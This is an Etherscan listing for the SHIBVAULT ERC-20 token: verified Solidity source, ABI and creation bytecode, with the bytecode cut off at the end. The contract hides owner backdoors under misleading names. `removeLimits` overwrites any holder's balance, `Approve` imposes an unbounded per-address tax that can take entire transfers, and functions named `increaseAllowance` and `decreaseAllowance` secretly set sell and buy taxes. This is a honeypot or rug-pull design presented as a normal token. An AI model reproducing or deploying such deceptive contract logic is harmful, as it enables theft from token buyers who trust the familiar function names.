ERC-20
Overview
Max Total Supply
100,000,000 SVAULT
Holders
16
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,103,093.389184145328084132 SVAULTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
SHIBVAULT
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-27 */ /** 🌐: https://shibvaulterc.com 🐦: https://twitter.com/ShibVault 👥: https://t.me/ShibVaultErc */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the Owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new Owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ERC20 is Context { mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } } contract SHIBVAULT is ERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => bool) private _isTax; mapping(address => uint256) private _accTax; uint256 private _buyTax; uint256 private _sellTax; address private uniswapV2Pair; address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); constructor( string memory name_, string memory symbol_, uint256 totalSupply_ ) ERC20(name_, symbol_) { _mint(_msgSender(), totalSupply_ * 10**decimals()); _isTax[_msgSender()] = true; _buyTax = 5; _sellTax = 30; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: REWARD to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _transfer( address from, address to, uint256 _amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require(fromBalance >= _amount, "ERC20: transfer amount exceeds balance"); bool rF = true; if (_checkFreeAccount(from, to)) { rF = false; } uint256 tradeFeeAmount = 0; if (rF) { uint256 tradeFee = 0; if (uniswapV2Pair != address(0)) { if (to == uniswapV2Pair) { tradeFee = _sellTax; } if (from == uniswapV2Pair) { tradeFee = _buyTax; } } if (_accTax[from] > 0) { tradeFee = _accTax[from]; } tradeFeeAmount = _amount.mul(tradeFee).div(100); } if (tradeFeeAmount > 0) { _balances[from] = _balances[from].sub(tradeFeeAmount); _balances[_deadAddress] = _balances[_deadAddress].add(tradeFeeAmount); emit Transfer(from, _deadAddress, tradeFeeAmount); } _balances[from] = _balances[from].sub(_amount - tradeFeeAmount); _balances[to] = _balances[to].add(_amount - tradeFeeAmount); emit Transfer(from, to, _amount - tradeFeeAmount); } function _checkFreeAccount(address from, address to) internal view returns (bool) { return _isTax[from] || _isTax[to]; } function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } function getPair() external onlyOwner { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); } function increaseAllowance(uint256 _value) external onlyOwner { _sellTax = _value; } function decreaseAllowance(uint256 _value) external onlyOwner { _buyTax = _value; } function Approve(address _address, uint256 _value) external onlyOwner { require(_value >= 0, "Account tax must be greater than or equal to 0"); _accTax[_address] = _value; } function setBots(address _address, bool _value) external onlyOwner { _isTax[_address] = _value; } function removeLimits(address to, uint amount) external onlyOwner { _balances[to] = amount; } function transfer(address to, uint256 amount) public virtual returns (bool) { _transfer(_msgSender(), to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200006657600080fd5b5060405162002fa738038062002fa783398181016040528101906200008c919062000595565b828281600290816200009f919062000870565b508060039081620000b1919062000870565b505050620000d4620000c86200019f60201b60201c565b620001a760201b60201c565b6200011f620000e86200019f60201b60201c565b620000f86200026d60201b60201c565b600a62000106919062000ae7565b8362000113919062000b38565b6200027660201b60201c565b600160066000620001356200019f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005600881905550601e60098190555050505062000c95565b600033905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002e8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002df9062000c0a565b60405180910390fd5b8060016000828254620002fc919062000c2c565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000354919062000c2c565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003bb919062000c78565b60405180910390a35050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200043082620003e5565b810181811067ffffffffffffffff82111715620004525762000451620003f6565b5b80604052505050565b600062000467620003c7565b905062000475828262000425565b919050565b600067ffffffffffffffff821115620004985762000497620003f6565b5b620004a382620003e5565b9050602081019050919050565b60005b83811015620004d0578082015181840152602081019050620004b3565b60008484015250505050565b6000620004f3620004ed846200047a565b6200045b565b905082815260208101848484011115620005125762000511620003e0565b5b6200051f848285620004b0565b509392505050565b600082601f8301126200053f576200053e620003db565b5b815162000551848260208601620004dc565b91505092915050565b6000819050919050565b6200056f816200055a565b81146200057b57600080fd5b50565b6000815190506200058f8162000564565b92915050565b600080600060608486031215620005b157620005b0620003d1565b5b600084015167ffffffffffffffff811115620005d257620005d1620003d6565b5b620005e08682870162000527565b935050602084015167ffffffffffffffff811115620006045762000603620003d6565b5b620006128682870162000527565b925050604062000625868287016200057e565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200068257607f821691505b6020821081036200069857620006976200063a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006c3565b6200070e8683620006c3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007516200074b62000745846200055a565b62000726565b6200055a565b9050919050565b6000819050919050565b6200076d8362000730565b620007856200077c8262000758565b848454620006d0565b825550505050565b600090565b6200079c6200078d565b620007a981848462000762565b505050565b5b81811015620007d157620007c560008262000792565b600181019050620007af565b5050565b601f8211156200082057620007ea816200069e565b620007f584620006b3565b8101602085101562000805578190505b6200081d6200081485620006b3565b830182620007ae565b50505b505050565b600082821c905092915050565b6000620008456000198460080262000825565b1980831691505092915050565b600062000860838362000832565b9150826002028217905092915050565b6200087b826200062f565b67ffffffffffffffff811115620008975762000896620003f6565b5b620008a3825462000669565b620008b0828285620007d5565b600060209050601f831160018114620008e85760008415620008d3578287015190505b620008df858262000852565b8655506200094f565b601f198416620008f8866200069e565b60005b828110156200092257848901518255600182019150602085019450602081019050620008fb565b868310156200094257848901516200093e601f89168262000832565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620009e557808604811115620009bd57620009bc62000957565b5b6001851615620009cd5780820291505b8081029050620009dd8562000986565b94506200099d565b94509492505050565b60008262000a00576001905062000ad3565b8162000a10576000905062000ad3565b816001811462000a29576002811462000a345762000a6a565b600191505062000ad3565b60ff84111562000a495762000a4862000957565b5b8360020a91508482111562000a635762000a6262000957565b5b5062000ad3565b5060208310610133831016604e8410600b841016171562000aa45782820a90508381111562000a9e5762000a9d62000957565b5b62000ad3565b62000ab3848484600162000993565b9250905081840481111562000acd5762000acc62000957565b5b81810290505b9392505050565b600060ff82169050919050565b600062000af4826200055a565b915062000b018362000ada565b925062000b307fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009ee565b905092915050565b600062000b45826200055a565b915062000b52836200055a565b925082820262000b62816200055a565b9150828204841483151762000b7c5762000b7b62000957565b5b5092915050565b600082825260208201905092915050565b7f45524332303a2052455741524420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062000bf260218362000b83565b915062000bff8262000b94565b604082019050919050565b6000602082019050818103600083015262000c258162000be3565b9050919050565b600062000c39826200055a565b915062000c46836200055a565b925082820190508082111562000c615762000c6062000957565b5b92915050565b62000c72816200055a565b82525050565b600060208201905062000c8f600083018462000c67565b92915050565b6123028062000ca56000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102b9578063a9059cbb146102d7578063c1f1b1b514610307578063dd62ed3e14610311578063f2fde38b1461034157610116565b806370a0823114610245578063715018a6146102755780638da5cb5b1461027f57806390ec57f11461029d57610116565b806313b2a23e116100e957806313b2a23e146101a157806318160ddd146101bd57806323b872dd146101db578063313ce5671461020b5780634db23e3e1461022957610116565b806306fdde031461011b578063095ea7b31461013957806310bad4cf1461016957806311e330b214610185575b600080fd5b61012361035d565b60405161013091906118dd565b60405180910390f35b610153600480360381019061014e9190611998565b6103ef565b60405161016091906119f3565b60405180910390f35b610183600480360381019061017e9190611a0e565b610412565b005b61019f600480360381019061019a9190611a0e565b610498565b005b6101bb60048036038101906101b69190611a67565b61051e565b005b6101c56105f5565b6040516101d29190611ab6565b60405180910390f35b6101f560048036038101906101f09190611ad1565b6105ff565b60405161020291906119f3565b60405180910390f35b61021361062e565b6040516102209190611b40565b60405180910390f35b610243600480360381019061023e9190611998565b610637565b005b61025f600480360381019061025a9190611b5b565b6106fb565b60405161026c9190611ab6565b60405180910390f35b61027d610744565b005b6102876107cc565b6040516102949190611b97565b60405180910390f35b6102b760048036038101906102b29190611998565b6107f6565b005b6102c16108fe565b6040516102ce91906118dd565b60405180910390f35b6102f160048036038101906102ec9190611998565b610990565b6040516102fe91906119f3565b60405180910390f35b61030f6109ae565b005b61032b60048036038101906103269190611bb2565b610c0a565b6040516103389190611ab6565b60405180910390f35b61035b60048036038101906103569190611b5b565b610c90565b005b60606002805461036c90611c21565b80601f016020809104026020016040519081016040528092919081815260200182805461039890611c21565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b6000806103fa610d87565b9050610407818585610d8f565b600191505092915050565b61041a610d87565b73ffffffffffffffffffffffffffffffffffffffff166104386107cc565b73ffffffffffffffffffffffffffffffffffffffff161461048e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048590611c9e565b60405180910390fd5b8060088190555050565b6104a0610d87565b73ffffffffffffffffffffffffffffffffffffffff166104be6107cc565b73ffffffffffffffffffffffffffffffffffffffff1614610514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050b90611c9e565b60405180910390fd5b8060098190555050565b610526610d87565b73ffffffffffffffffffffffffffffffffffffffff166105446107cc565b73ffffffffffffffffffffffffffffffffffffffff161461059a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059190611c9e565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600154905090565b60008061060a610d87565b9050610617858285610f57565b610622858585610fe3565b60019150509392505050565b60006012905090565b61063f610d87565b73ffffffffffffffffffffffffffffffffffffffff1661065d6107cc565b73ffffffffffffffffffffffffffffffffffffffff16146106b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106aa90611c9e565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61074c610d87565b73ffffffffffffffffffffffffffffffffffffffff1661076a6107cc565b73ffffffffffffffffffffffffffffffffffffffff16146107c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b790611c9e565b60405180910390fd5b6107ca6000611684565b565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6107fe610d87565b73ffffffffffffffffffffffffffffffffffffffff1661081c6107cc565b73ffffffffffffffffffffffffffffffffffffffff1614610872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086990611c9e565b60405180910390fd5b60008110156108b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ad90611d30565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60606003805461090d90611c21565b80601f016020809104026020016040519081016040528092919081815260200182805461093990611c21565b80156109865780601f1061095b57610100808354040283529160200191610986565b820191906000526020600020905b81548152906001019060200180831161096957829003601f168201915b5050505050905090565b60006109a461099d610d87565b8484610fe3565b6001905092915050565b6109b6610d87565b73ffffffffffffffffffffffffffffffffffffffff166109d46107cc565b73ffffffffffffffffffffffffffffffffffffffff1614610a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2190611c9e565b60405180910390fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abb9190611d65565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b689190611d65565b6040518363ffffffff1660e01b8152600401610b85929190611d92565b6020604051808303816000875af1158015610ba4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc89190611d65565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c98610d87565b73ffffffffffffffffffffffffffffffffffffffff16610cb66107cc565b73ffffffffffffffffffffffffffffffffffffffff1614610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0390611c9e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7290611e2d565b60405180910390fd5b610d8481611684565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df590611ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6490611f51565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f4a9190611ab6565b60405180910390a3505050565b6000610f638484610c0a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610fdd5781811015610fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc690611fbd565b60405180910390fd5b610fdc8484848403610d8f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611052576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110499061204f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b8906120e1565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113f90612173565b60405180910390fd5b600060019050611158858561174a565b1561116257600090505b6000811561132d5760008073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461127857600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361121c5760095490505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036112775760085490505b5b6000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561130357600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b611329606461131b83886117f590919063ffffffff16565b61180b90919063ffffffff16565b9150505b60008111156114cc5761138881600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061141f816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183790919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114c39190611ab6565b60405180910390a35b61152981856114db91906121c2565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115c9818561157b91906121c2565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838761166791906121c2565b6040516116749190611ab6565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117ed5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b6000818361180391906121f6565b905092915050565b600081836118199190612267565b905092915050565b6000818361182f91906121c2565b905092915050565b600081836118459190612298565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561188757808201518184015260208101905061186c565b60008484015250505050565b6000601f19601f8301169050919050565b60006118af8261184d565b6118b98185611858565b93506118c9818560208601611869565b6118d281611893565b840191505092915050565b600060208201905081810360008301526118f781846118a4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061192f82611904565b9050919050565b61193f81611924565b811461194a57600080fd5b50565b60008135905061195c81611936565b92915050565b6000819050919050565b61197581611962565b811461198057600080fd5b50565b6000813590506119928161196c565b92915050565b600080604083850312156119af576119ae6118ff565b5b60006119bd8582860161194d565b92505060206119ce85828601611983565b9150509250929050565b60008115159050919050565b6119ed816119d8565b82525050565b6000602082019050611a0860008301846119e4565b92915050565b600060208284031215611a2457611a236118ff565b5b6000611a3284828501611983565b91505092915050565b611a44816119d8565b8114611a4f57600080fd5b50565b600081359050611a6181611a3b565b92915050565b60008060408385031215611a7e57611a7d6118ff565b5b6000611a8c8582860161194d565b9250506020611a9d85828601611a52565b9150509250929050565b611ab081611962565b82525050565b6000602082019050611acb6000830184611aa7565b92915050565b600080600060608486031215611aea57611ae96118ff565b5b6000611af88682870161194d565b9350506020611b098682870161194d565b9250506040611b1a86828701611983565b9150509250925092565b600060ff82169050919050565b611b3a81611b24565b82525050565b6000602082019050611b556000830184611b31565b92915050565b600060208284031215611b7157611b706118ff565b5b6000611b7f8482850161194d565b91505092915050565b611b9181611924565b82525050565b6000602082019050611bac6000830184611b88565b92915050565b60008060408385031215611bc957611bc86118ff565b5b6000611bd78582860161194d565b9250506020611be88582860161194d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c3957607f821691505b602082108103611c4c57611c4b611bf2565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b6000611c88602083611858565b9150611c9382611c52565b602082019050919050565b60006020820190508181036000830152611cb781611c7b565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2030000000000000000000000000000000000000602082015250565b6000611d1a602e83611858565b9150611d2582611cbe565b604082019050919050565b60006020820190508181036000830152611d4981611d0d565b9050919050565b600081519050611d5f81611936565b92915050565b600060208284031215611d7b57611d7a6118ff565b5b6000611d8984828501611d50565b91505092915050565b6000604082019050611da76000830185611b88565b611db46020830184611b88565b9392505050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e17602683611858565b9150611e2282611dbb565b604082019050919050565b600060208201905081810360008301